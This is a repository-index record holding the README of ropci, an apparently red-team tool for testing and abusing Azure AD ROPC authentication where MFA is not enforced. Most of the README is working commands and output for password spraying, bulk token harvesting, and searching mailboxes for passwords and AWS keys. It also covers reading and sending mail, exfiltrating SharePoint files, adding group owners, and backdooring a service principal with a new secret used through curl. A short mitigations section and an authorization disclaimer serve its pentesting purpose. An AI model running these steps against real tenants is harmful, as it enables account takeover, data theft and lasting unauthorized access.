{"id":13742657,"url":"https://github.com/wunderwuzzi23/ropci","last_synced_at":"2026-01-12T12:02:33.103Z","repository":{"id":144466160,"uuid":"541335121","full_name":"wunderwuzzi23/ropci","owner":"wunderwuzzi23","description":"So, you think you have MFA? AAD/ROPC/MFA bypass testing tool","archived":false,"fork":false,"pushed_at":"2022-11-21T03:15:42.000Z","size":142,"stargazers_count":98,"open_issues_count":0,"forks_count":16,"subscribers_count":2,"default_branch":"main","last_synced_at":"2024-11-15T13:39:29.591Z","etag":null,"topics":["aad","azuread","mfa","mfa-bypass","pentest","redteam","ropc"],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/wunderwuzzi23.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2022-09-25T23:11:40.000Z","updated_at":"2024-11-08T17:09:24.000Z","dependencies_parsed_at":null,"dependency_job_id":"091f71a3-a486-4f6a-82ae-801da7bc6da5","html_url":"https://github.com/wunderwuzzi23/ropci","commit_stats":null,"previous_names":[],"tags_count":1,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/wunderwuzzi23%2Fropci","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/wunderwuzzi23%2Fropci/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/wunderwuzzi23%2Fropci/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/wunderwuzzi23%2Fropci/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/wunderwuzzi23","download_url":"https://codeload.github.com/wunderwuzzi23/ropci/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":253170954,"owners_count":21865273,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["aad","azuread","mfa","mfa-bypass","pentest","redteam","ropc"],"created_at":"2024-08-03T05:00:34.656Z","updated_at":"2026-01-12T12:02:33.083Z","avatar_url":"https://github.com/wunderwuzzi23.png","language":"Go","funding_links":[],"categories":["Tools"],"sub_categories":["CLI"],"readme":"This tool has helped identify MFA bypasses and then abuse APIs in multiple production AAD tenants, where AAD customers believed they had MFA enforced, but ROPC based authentication succeeded. \n\n![ropci](ropci.png)\n\nThe guidance is: **Always explicitly enforce MFA!** \n\nSounds easy, but testing results show that real world setups are convoluted and at times provide MFA bypass opportunities.\n\n# What is ROPC?\n\nResource Owner Password Credentials (ROPC) allows to authenticate to OAuth2 apps via username and password. \n\nIt is a deprecated auth flow that requires a high degree of trust between participants. Many built-in Microsoft Azure OAuth apps support ROPC and can be leveraged by attackers. \n\nBecause it supports only single-factor username/password authentication, ROPC is an avenue to exploit MFA misconfigurations (such as lack of MFA enforcement). \n\n# Getting ropci\n\nDownload a pre-built release for your platform of choice [here](https://github.com/wunderwuzzi23/ropci/releases/tag/v0.1).\n\n# Building ropci \n\nAlternatively, you can build it yourself. Grab a copy of the source and `go build`:\n\n```\ngit clone https://github.com/wunderwuzzi23/ropci\ngo build -ldflags \"-s -w -X 'ropci/cmd.VersionInfo=$(git rev-parse HEAD)'\"  -o ropci main.go\n```\n\nThat's it.\n\n# Quick ROPC single-factor authentication test\n\nTo perform a quick ad-hoc test for an account run:\n\n```\n./ropci auth logon -t $YOUR_TENANT -u $YOUR_USER -P --discard-token\n```\n\nWhere you set, or replace `$YOUR_TENANT` and `$YOUR_USER` with the account and tenant to test.\n\n* `-P`: means to prompt for password, rather then reading from config file or command line.\n* `--discard-token`: if authentication succeeds, the returned access token will not be stored.\n\nIf this succeeds it means that single-factor ROPC authentication succeeded. This is probably unwanted, as things get bad from here. You should reach out to an IT administrator to discuss ROPC and have this fixed.\n\n# Using ropci\n\nThe leverage all the features of ropci, let's first configure it.\n\n## Configuration\n\nIf you run `./ropci configure` you can persist auth information to a config file.\n\n```\n$ ./ropci configure\nLet's set things up by entering Tenant, Username and Password.\nAzure Tenant Name or ID (e.g. contoso.onmicrosoft.com): contoso.onmicrosoft.com\nUsername (e.g. bob@example.org): joe@example.org\nNearly done, let's enter the password.\nYou can leave the password blank if you don't want it stored, and specify the -P flag each time.\nPassword: \nConfiguration complete.\n```\n\nThe default config settings are stored in the `.ropci.yaml` file. The important settings are: tenant, username, password and clientid.\n\n\n## Basic ropci usage\n\n`ropci` has built-in help that describes various flags and features.\n\n```\n$ ./ropci\nResource Owner Password Credentials Assessment Tool for AAD.\nropci by wunderwuzzi23\n\nUsage:\n  ropci [flags]\n  ropci [command]\n\nAvailable Commands:\n  apps        List all the apps/clientids (servicePrincipals) available in the tenant\n  auth        Authenticate to AAD using ROPC\n  azure       Interact with Azure Resource Manager\n  call        Generic call method to invoke arbitrary APIs\n  completion  Generate the autocompletion script for the specified shell\n  configure   Initialize the ropci configuration to get started.\n  drive       List, download or upload files to Sharepoint\n  groups      List or create groups\n  help        Help about any command\n  mail        Access mail of the user\n  search      Search through mail messages, chats or Sharepoint files\n  users       List all users or an individual user's details\n\nFlags:\n  -a, --all               Retrieve all records, this could take a while\n  -A, --azureuri string   Azure Resource Management Uri (default \"https://management.azure.com\")\n      --config string     config file (default is ./.ropci.yaml)\n      --format string     output results in table, csv or json (when applicable (default \"table\")\n  -G, --graphuri string   graph endpoint/version to call when access Microsoft Graph API (default \"https://graph.microsoft.com/beta\")\n  -h, --help              help for ropci\n  -v, --verbose           Print more info\n      --version           version for ropci\n\nUse \"ropci [command] --help\" for more information about a command.\n```\n\n# Getting an Access Token\n\nThen `./ropci auth logon` will get an access token for the user/password/client id specified in the `.ropci.yaml` file. \n\n```\n$ ./ropci auth logon \nSucceeded. Token written to .token.\n```\n\nIts possible to provide a custom `client_id` by providing the `--clientid` argument - more about testing of specific apps later.\n\nIf authentication fails you will receive an error message, stating the AAD error that occured.\n\n## Refreshing a Token\n\nYou can later also refresh a token by running `./ropci auth refresh`. This also allows you to import a refresh token from elsewhere via `./ropci auth refresh --refresh token {token}`.\n\n## Device Code Support\n\nTo get an `access_token` via the devicecode flow you can leverage `./ropci auth deviceflow`.\n\nThis is useful if you want to play around with the other post-authentication features of ropci.\n\n# Checking for MFA enforcement\n\nThe first offsec tests should revolve around evaluating if MFA is configured correcty (if at all). \n\nThere are a couple of things to explore, including testing:\n* **Your own user account**: Users hopefully have MFA enforced.\n* **Service Accounts**: A common angle for MFA bypasses.\n* **AAD only accounts**: Test for AAD only accounts (important, but not limited to federation scenarios where MFA is configured at the federated identity provider)\n\nLet's take a look at this example:\n\n```\n$ ./ropci auth logon -u alice@wunderwuzzi.net -P\nPassword: \nSucceeded. Token written to .token.\n```\n\n* Use `-u` for testing different accounts (without having to update the configuration file).\n* The `-P` argument means that the tool will prompt fo the password that way it's not on the command line.\n\nThat's the basic auth/testing mechanism.\n\n# Password Spraying\n\nropci also comes with the ability to perform an ROPC based password spray.\n\n```\n./ropci auth spray --users-file users.list --passwords-file passwords.list -o result --wait 60 --wait-try 10 \nAttempts: 12 for ClientID d3590ed6-52b3-4102-aeff-aad2292ab01c\n\nAttempt 0001: alice@wunderwuzzi.net                     test1242355                     invalid username or password\nAttempt 0002: tom@wunderwuzzi.net                       test123                         invalid username or password\nAttempt 0003: doesnotexist@wunderwuzzi.net              test1242355                     account does not exist\nAttempt 0004: tom@wunderwuzzi.net                       test1242355                     invalid username or password\nAttempt 0005: tom@wunderwuzzi.net                       Sommer2022!                     invalid username or password\nAttempt 0006: doesnotexist@wunderwuzzi.net              Sommer2022!                     account does not exist\nAttempt 0007: alice@wunderwuzzi.net                     test                            invalid username or password\nAttempt 0008: alice@wunderwuzzi.net                     test123                         invalid username or password\nAttempt 0009: doesnotexist@wunderwuzzi.net              test123                         account does not exist\nAttempt 0010: alice@wunderwuzzi.net                     Sommer2022!                     success\nAttempt 0011: doesnotexist@wunderwuzzi.net              test                            account does not exist\nAttempt 0012: tom@wunderwuzzi.net                       test                            invalid username or password\n```\n\nBe aware of any account lockout policies, and make sure you have proper authorization before engaging in such testing.\n\n\n# Enumerating and evaluating apps\n\nIn case you got an access token it is  a good idea to enumerate all the OAuth apps that are registered for a tenant.\n\n## Reading all the registered apps (clientids) of the tenant \n\nTo enumerate all OAuth2 apps (so called servicePrincipals in AAD) use `./ropci apps list`:\n\n```\n$ ./ropci apps list\n+----------------------------------------------------------------+--------------------------------------+--------------------+\n|                          displayName                           |                appId                 |   publisherName    |\n+----------------------------------------------------------------+--------------------------------------+--------------------+\n| Microsoft Teams Mailhook                                       | 51133ff5-8e0d-4078-bcca-84fb7f905b64 | Microsoft Services |\n| OCaaS Client Interaction Service                               | c2ada927-a9e2-4564-aae2-70775a2fa0af | Microsoft Services |\n| Microsoft Office Licensing Service vNext                       | db55028d-e5ba-420f-816a-d18c861aefdf | Microsoft Services |\n| Messaging Bot API Application                                  | 5a807f24-c9de-44ee-a3a7-329e88a00ffc | Microsoft Services |\n| Service Encryption                                             | dbc36ae1-c097-4df9-8d94-343c3d091a76 | Microsoft Services |\n| Microsoft Mobile Application Management Backend                | 354b5b6d-abd6-4736-9f51-1be80049b91f | Microsoft Services |\n| Microsoft Graph                                                | 00000003-0000-0000-c000-000000000000 | Microsoft Services |\n| Permission Service O365                                        | 6d32b7f8-782e-43e0-ac47-aaad9f4eb839 | Microsoft Services |\n| SubscriptionRP                                                 | e3335adb-5ca0-40dc-b8d3-bedc094e523b | Microsoft Services |\n.....\n```\n\nThere are likely more then 100 apps in your tenant. `ropci` will only show you 100 entries by default. Use the `--all` argument when calling the command to list everything, you can also output all the details as `json`. \n\n```\n./ropci apps list --all --format json -o apps.json\n```\n\n\n## Perform a bulk authentication validation \n\nUse the following command to get a csv file that can be used with the `./ropci auth bulk` command:\n\n```\n./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' \u003e apps.csv\n```\n\nThis will create a csv file that can be used with the `auth bulk` command.\n\n## Bulk ROPC validation of all apps \n\nThe command for this is `./ropci auth bulk -i apps.csv -o output.json`. \n\nHere is an example:\n\n```\n$ ./ropci auth bulk -i apps.csv -o results.json\nClientIDs from CSV file apps.csv.\nResults will be written to results.json.\n\nIssuing Requests...~420\nWaiting for results...\n+------------------------------------------+--------------------------------------+---------+-----------------------------------+\n|               displayName                |                appId                 | result  |               scope               |\n+------------------------------------------+--------------------------------------+---------+-----------------------------------+\n| Microsoft Teams ATP Service              | 0fa37baf-7afc-4baf-ab2d-d5bb891d53ef | error   |                                   |\n| Microsoft Dynamics CRM                   | 2db8cb1d-fb6c-450b-ab09-49b6ae35186b | error   |                                   |\n| Microsoft Outlook                        | 5d661950-3475-41cd-a2c3-d671a3162bc1 | success | email openid profile              |\n|                                          |                                      |         | AuditLog.Create Chat.Read         |\n|                                          |                                      |         | DataLossPreventionPolicy.Evaluate |\n|                                          |                                      |         | Directory.Read.All                |\n|                                          |                                      |         | EduRoster.ReadBasic               |\n|                                          |                                      |         | Files.ReadWrite.All               |\n|                                          |                                      |         | Group.ReadWrite.All               |\n|                                          |                                      |         | InformationProtectionPolicy.Read  |\n|                                          |                                      |         | OnlineMeetings.Read People.Read   |\n|                                          |                                      |         | SensitiveInfoType.Detect          |\n|                                          |                                      |         | SensitiveInfoType.Read.All        |\n|                                          |                                      |         | SensitivityLabel.Evaluate         |\n|                                          |                                      |         | User.Invite.All User.Read         |\n|                                          |                                      |         | User.ReadBasic.All                |\n| Service                                  |                                      |         |                                   |\n| PushChannel                              | 4747d38e-36c5-4bc3-979b-b0ef74df54d1 | error   |                                   |\n| Microsoft.MileIQ                         | a25dbca8-4e60-48e5-80a2-0664fdb5c9b6 | success | profile openid email              |\n|                                          |                                      |         | user_impersonation                |\n| Storage Resource Provider                | a6aa9161-5291-40bb-8c5c-923b567bee3b | error   |                                   |\n| M365 Admin Services                      | 6b91db1b-f05b-405a-a0b2-e3f60b28d645 | error   |                                   |\n| Microsoft Teams                          | 1fec8e78-bce4-4aaf-ab1b-5451cc387264 | success | email openid profile              |\n|                                          |                                      |         | Channel.ReadBasic.All             |\n|                                          |                                      |         | Contacts.ReadWrite.Shared         |\n|                                          |                                      |         | Files.ReadWrite.All               |\n|                                          |                                      |         | InformationProtectionPolicy.Read  |\n|                                          |                                      |         | MailboxSettings.ReadWrite         |\n|                                          |                                      |         | Notes.ReadWrite.All               |\n|                                          |                                      |         | People.Read Place.Read.All        |\n|                                          |                                      |         | Sites.ReadWrite.All               |\n|                                          |                                      |         | Tasks.ReadWrite                   |\n|                                          |                                      |         | User.ReadBasic.All                |\n| Power BI Service                         | 00000009-0000-0000-c000-000000000000 | error   |                                   |\n...\n+------------------------------------------+--------------------------------------+---------+-----------------------------------+\n\nDone. \nYou could now run the following command to analyze valid tokens and there scopes:\n$ cat results.json | jq -r 'select (.access_token!=\"\") | [.display_name,.scope] | @csv'\nHappy Hacking.\n```\n\nThis gives you an idea which applications support ROPC and what permissions they have that an adversary could abuse. \nThe result file will already contain the retrieved `access_tokens` from each app.\n\nIt's also a good list for the IT admins and blue team to monitor and lock down.\n\n# Gathering data\n\nThere are a set of well-known Microsoft ROPC capable apps that allow to:\n* Users and Group memberships (`./ropci users` and `./ropci groups`)\n* Reading and sending email for the compromised account (`./ropci mail` and `./ropci mail send`)\n* Reading and uploading files to SharePoint/OneDrive (`./ropci drive`)\n* Using the search API to find secrets and other information ( `./ropci search`)\n\nThe use the API's succesfully an appropriate access token has to be stored in the `.token` file. \n\nIn order to switch to a different `clientid` the following command can be used `./ropc auth logon --clientid 57336123-6e14-4acc-8dcf-287b6088aa28`.\n\n\nUsing the other commands, such as `./ropci mail` it's possible to read or even send email. Using `./ropci drive` its possible to exfiltrate or upload data from/to SharePoint. There is also a `./ropci search` features that can be used to search an account's mailbox for interesting terms.\n\n\n# Powerful Microsoft Apps\n\nAll the apps and there permission are in the checked csv file, but for regular tests the following three should suffice.:\n\n```\n57336123-6e14-4acc-8dcf-287b6088aa28 - Microsoft Whiteboard Client\t\nemail openid profile Calendars.Read Channel.ReadBasic.All ChannelMessage.Send Contacts.Read Directory.Read.All EduRoster.ReadBasic Files.ReadWrite.All Group.Read.All Mail.ReadWrite Mail.Send Notes.Create Notes.Read Notes.ReadWrite People.Read User.Read User.Read.All User.ReadBasic.All\n\n00b41c95-dab0-4487-9791-b9d2c32c80f2 - Office 365 Management\t\nemail openid profile Contacts.Read Contacts.ReadWrite Directory.AccessAsUser.All Mail.ReadWrite Mail.ReadWrite.All People.Read People.ReadWrite Tasks.ReadWrite User.ReadWrite User.ReadWrite.All\n\nd3590ed6-52b3-4102-aeff-aad2292ab01c - Microsoft Office\nemail openid profile AuditLog.Read.All Calendar.ReadWrite Calendars.Read.Shared Calendars.ReadWrite Contacts.ReadWrite DataLossPreventionPolicy.Evaluate DeviceManagementConfiguration.Read.All DeviceManagementConfiguration.ReadWrite.All Directory.AccessAsUser.All Directory.Read.All Files.Read Files.Read.All Files.ReadWrite.All Group.Read.All Group.ReadWrite.All InformationProtectionPolicy.Read Mail.ReadWrite Notes.Create People.Read People.Read.All SensitiveInfoType.Detect SensitiveInfoType.Read.All SensitivityLabel.Evaluate Tasks.ReadWrite TeamMember.ReadWrite.All User.Read.All User.ReadBasic.All User.ReadWrite Users.Read\n```\n\n# Detections and Mitigations\n\nA couple of items to dive into and cross-check:\n\n* Is MFA enforced for all accounts?\n* What exceptions exist? What about service accounts or AAD only accouts? :) \n* SSO. Is MFA handled by another identity provider? This might could leave tenant vulnerable to ROPC attacks.\n* Review custom applications that are present in your tenant. Do they support ROPC? Can anyone use them? Lock them down.\n* Review Sign-In logs for single-factor authentication requests and ROPC\n\n# Key take-aways \n\nHere is a quick recap and testing and mitigation recommendations:\n\n* **Always explicitly enforce MFA!** This sounds easy, but apparently it seems to be a challenge to implement given the amount and kind of bypasses I have seen with production AAD tenants.\n* If you paid for Azure Premium, leverage Conditional Access Policies to enforce MFA.\n* Security defaults might not adequately protect user accounts. \nIn some of my testing I switched IP address multiple times to various countries (impossible travel) and ROPC authentication continued to succeed. It’s best to enforce MFA for all accounts, rather then depending on security defaults to make the right decisions.\n* Hybrid and federated MFA enforcement can leave \"native\" AAD accounts vulnerable.\n* Some scenarios might remain vulnerable to single factor authentication. **The exposure should be known, and a conscious decision (risk acceptance)**\n* Know your weaknesses, monitor exposure, and continue locking down settings.\n* **Test and validate your configurations from an offensive security point of view!**\n\n\n# Other useful commands and features\n\n## Basic info about a user \n\nShow some interesting info about a user (by default logged on user is used):\n\n```\n./ropci users who [-u joe@example.org]\n\n```\n\n## Search the users mail messages\n\nBy default the following searches for the word `password`:\n\n```\n./ropci search\n```\n\nBut you can specify a custom query with `-q`. Here is an example:\n\n```\n ./ropci search -q 'AWS_ACCESS' -f rank -f summary\n+------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+\n| rank |                                                        summary                                                                                            |\n+------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+\n|    1 | ...is not known. \u003cc0\u003eAWS_ACCESS\u003c/c0\u003e_KEY_ID=AKIAsomethingsomething AWS_SECRET_ACCESS_KEY=this_is_a_secret This grants you access to the EC2 instance and \nyou can create s3 data. Greetings,Security.                                                                                                                        |\n+------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+\n\nNumber of items: 1\n```\n\nPretty neat. \n\nYou can also search for other items, like Sharepoint listItems, etc.. by specifying `-t` and the type.\n\n## List all groups\n\n```\n./ropci groups list --format json -o groups.json\ncat groups.json | jq -r '.value[].id'\n#./ropci groups member-list -g \n\n```\n\n## List members and owners of a group \n\n```\n./ropci call -c /users/bob@wunderwuzzi.net/ownedObjects\n./ropci call -c '/me/getMemberGroups' -b '{\"securityEnabledOnly\": false }' --verb POST\n```\n\n\n## Search for users/groups:\n\n```\n./ropci users list -s userPrincipalName:bob\n```\n\n\n## Upload a file to SharePoint\n\nUploading a file to SharePoint drive:\n\n```\n./ropci drive upload -p \"/Tom @ ExampleOrg, LLC/testing.txt\" -d ./ropci -v\n```\n\n\n## Read mail in text form \n\nThe following command will show some basic info about the accounts inbox:\n```\n./ropci mail list\n```\n\nRead mail body.content in text form:\n\n```\n ./ropci mail list --format json | jq .value[].body.content\n```\n\n## Add an owner to a group \n\nList or add an owner of a group:\n\n```\n./ropci groups owner-list -g 68af7cb2-551f-4d99-9959-a1bede7ac1e0\n./ropci groups owner-add -u 0df463da-1a1c-4dba-817d-ca72438524ce -g 68af7cb2-551f-4d99-9959-a1bede7ac1e0\n```\n\n\n\n## Invalidate Refresh Tokens\n\nThis is quite important in order to protect yourself:\n\n```\n./ropci auth invalidate\n```\n\nWhich basically calls `/me/invalidateAllRefreshTokens`:\n\n```\n./ropci call -c /me/invalidateAllRefreshTokens --verb POST\n```\n\nIf you try to refresh now with `./ropci auth refresh` the following error will be shown:\n\n```\nAADSTS50173: The provided grant has expired due to it being revoked, a fresh auth token is needed. The user might have changed or reset their password. The grant was issued on '2022-09-05T18:48:10.7367392Z' and the TokensValidFrom date (before which tokens are not valid) for this user is '2022-09-05T18:48:54.0000000Z'\n```\n\nRefresh tokens have been invalidated for the logged on user. If the account has the right permissions one can also call `/users/username@expample.org/invalidateAllRefreshTokens` to invalidate refresh tokens of another account.\n\n## Application Role Assignments of a user\n\n[Graph API Documentatin](https://docs.microsoft.com/en-us/graph/api/user-list-approleassignments?view=graph-rest-beta\u0026tabs=http)\n\n```\n./ropci call -c /users/user@example.org/appRoleAssignments -f id -f principalDisplayName -f resourceDisplayName -f resourceId\n+---------------------------------------------+----------------------+-------------------------+--------------------------------------+\n|                     id                      | principalDisplayName |   resourceDisplayName   |              resourceId              |\n+---------------------------------------------+----------------------+-------------------------+--------------------------------------+\n| 5c6Mg23JVUWFS5E9XaB_vQObgianBrBMugogPRfMvYU | Vera Mitchell        | Apple Internet Accounts | 36559af8-a122-4101-b6c7-adccfa24506d |\n| 5c6Mg23JVUWFS5E9XaB_vUG-XjOYoexCm4D9r2fYwxI | Vera Mitchell        | Graph Explorer          | f3ff1808-52d0-4516-b090-28a06cd24783 |\n| 5c6Mg23JVUWFS5E9XaB_vaBGH-RIpJRMuE0qYZ7s5ZE | Vera Mitchell        | AppForHealthServices    | 48359af7-af3a-42d4-abe2-8425a14689c9 |\n+---------------------------------------------+----------------------+-------------------------+--------------------------------------+\n```\n\n## Backdooring a Service Principal (adding additional password)\n\n```\n$ ./ropci call -c /servicePrincipals/48359af7-af3a-42d4-abe2-8425a14689c9/addPassword \\ \n--verb POST  -b '{\"passwordCredential\": { \"displayName\": \"ropci says this is fine\"}} | jq\n\n{\n  \"@odata.context\": \"https://graph.microsoft.com/beta/$metadata#servicePrincipals('48359af7-af3a-42d4-abe2-8425a14689c9')/addPassword\",\n  \"@odata.type\": \"#microsoft.graph.servicePrincipal\",\n  \"customKeyIdentifier\": null,\n  \"endDateTime\": \"2024-09-05T19:48:11.1638864Z\",\n  \"keyId\": \"c47e91ff-986c-4f8f-9cc0-d41bdd038d49\",\n  \"startDateTime\": \"2022-09-05T19:48:11.1638864Z\",\n  \"secretText\": \"Yhj8Q~H1np.....4iEGuf0djD\",\n  \"hint\": \"Yhj\",\n  \"displayName\": \"ropci says this is fine\"\n}\n```\n\nTake note of the response, and the `secretText`. This is what can be used to impersonate the service principal.\n\nWith that `secretText`, which is the `client_secret` you can get an access token via the OAuth2 `client_credential` flow:\n\n```\ncurl -d 'grant_type=client_credentials\u0026client_id=2581d8b8-2e9c-4374-a418-06f9cfed87ff\u0026client_secret=Yhj8Q~H1np.....4iEGuf0djD\u0026scope=https://graph.microsoft.com/.default' https://login.microsoftonline.com/wuzzi.onmicrosoft.com/oauth2/v2.0/token\n```\n\nFun times!\n\n## More useful recon commands\n\n### Chats\n\n```\n./ropci call -c /me/chats\n```\n\n### Searching for other items (e.g person)\n\n```\n./ropci search -t person -q \"ropci\" --format json  | jq\n```\n\n## Others\n\nThe `call` command allows to invoke the many other APIs that are exposed. Here are a couple of interesting examples:\n\n```\n./ropci call -c /domains --format json -o domains.json\n./ropci call -c /domains/{tenant}}/verificationDnsRecords --format json -o verificationDnsRecords-domain1.json\n./ropci call -c /organization --format json -o organization.json\n./ropci call -c /identity/conditionalAccess/policies --format json -o conditionalAccess-Policies.json\n\n```\n\n```\n./ropci call -c '/identity/b2cUserFlows/B2C_test_signin_signup/userflowIdentityProviders'\n```\n\n## Explore authentication methods\n\n```\n./ropci auth logon --clientid 27922004-5251-4030-b22d-91ecd9a37ea4 # Use Outlook Mobile clientID\n./ropci call -c '/me/authentication/methods' -f id -f  emailAddress --format json | jq\n\n./ropci call -c '/me/authentication/phoneMethods' -f id -f phoneNumber -f phoneType\n./ropci call -c '/me/authentication/emailMethods' -f id -f emailAddress\n\n./ropci call -c '/me/authentication/phoneMethods' --verb POST -b '{\"phoneNumber\": \"+1 5558008000\",\"phoneType\": \"mobile\"}'\n./ropci call -c '/me/authentication/emailMethods' --verb POST -b '{\"emailAddress\": \"joe@example.org\"}'\n```\n\n## List deleted users or other deleted items\n\nWhen an object (e.g. user account) is deleted, it's not entirely deleted right away. It's possible to restore them within 30 days.\nThe following command lists the delete users:\n\n```\n./ropci call -c /directory/deletedItems/microsoft.graph.user\n+--------------------------------------+-------------+------+\n|                  id                  | displayName | name |\n+--------------------------------------+-------------+------+\n| e94d329b-ec6a-41fa-923c-fcd0eab5b12e | John Ropci  |      |\n| ea9f55dc-f38b-4344-8731-a97454778094 | Ropci       |      |\n+--------------------------------------+-------------+------+\n```\n\nThere is a lot more to explore. Hope this was helpful.\n\nCheers!\n\n# Disclaimer\n\nPentesting and security assessments require authorization from proper stakeholders. Do not do anything illegal.\n\n# Cross-compiling\n\nIf you are on Linux, and want to comple Windows or macOS versions you can use:\n\n```\nGOOS=windows GOARCH=amd64 go build -ldflags \"-s -w -X 'ropci/cmd.VersionInfo=$(git rev-parse HEAD)'\" -o ropci.exe main.go \nGOOS=darwin GOARCH=amd64 go build -ldflags \"-s -w -X 'ropci/cmd.VersionInfo=$(git rev-parse HEAD)'\" -o ropci main.go \n```\n\n# References, related tooling and further reading material:\n\n* AADInternals by @DrAzureAD: https://o365blog.com/aadinternals\n* Abusing Family Refresh Tokens by SecureWorks: \nhttps://github.com/secureworks/family-of-client-ids-research\n* Other interesting tooling: ROADTools, TeamFiltration,...\n* Microsoft Graph API: https://learn.microsoft.com/en-us/graph/\n* OAuth RFC: https://www.rfc-editor.org/rfc/rfc6749.html\n* OAuth 2.0 Security Best Current Practice: \nhttps://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics#page-9\n* ROPC docs: https://learn.microsoft.com/en-us/azure/active-directory/develop/v2-oauth-ropc\n* Hackers are using this sneaky exploit to bypass Microsoft's MFA: https://www.zdnet.com/article/hackers-are-using-this-sneaky-trick-to-exploit-dormant-microsoft-cloud-accounts-and-bypass-multi-factor-authentication/\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fwunderwuzzi23%2Fropci","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fwunderwuzzi23%2Fropci","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fwunderwuzzi23%2Fropci/lists"}